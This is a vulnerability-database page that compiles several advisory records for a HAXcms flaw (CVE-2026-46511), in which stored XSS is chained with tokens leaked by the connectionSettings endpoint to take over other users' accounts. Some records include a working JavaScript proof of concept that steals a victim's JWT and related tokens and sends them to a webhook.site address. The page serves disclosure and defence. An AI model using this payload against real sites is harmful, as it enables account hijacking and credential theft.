HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
cve-program · CVE-2026-46511
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
Read the publisher's advisoryeuvd · EUVD-2026-34890
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
Read the publisher's advisorynvd · CVE-2026-46511
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
Read the publisher's advisoryosv · GHSA-x3x5-7h4h-gwxg
Published### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-46511
PublishedHAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
- Source published
- 5 Jun 2026 18:32:55 UTC
- Source modified
- 8 Jun 2026 15:55:20 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
euvd · EUVD-2026-34890
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated att…
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 5, 2026, 6:32:55 PM
dateUpdated: Jun 8, 2026, 3:55:20 PM
- Source published
- Jun 5, 2026, 6:32:55 PM (timezone not stated)
- Source modified
- Jun 8, 2026, 3:55:20 PM (timezone not stated)
- Saved here
- 14 Nov 2026 00:10:06 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
nvd · CVE-2026-46511
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated att…
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-79 · CWE-522 · CWE-922
Original publisher date fields
published: 2026-06-05T19:16:34.267
lastModified: 2026-06-17T10:53:44.377
- Source published
- 5 Jun 2026 19:16:34 UTC
- Source modified
- 17 Jun 2026 10:53:44 UTC
- Saved here
- 25 Oct 2026 12:17:20 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-x3x5-7h4h-gwxg
PublishedHAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
- Source published
- 19 May 2026 14:47:03 UTC
- Source modified
- 10 Sep 2026 03:50:48 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Publisher rating · HIGH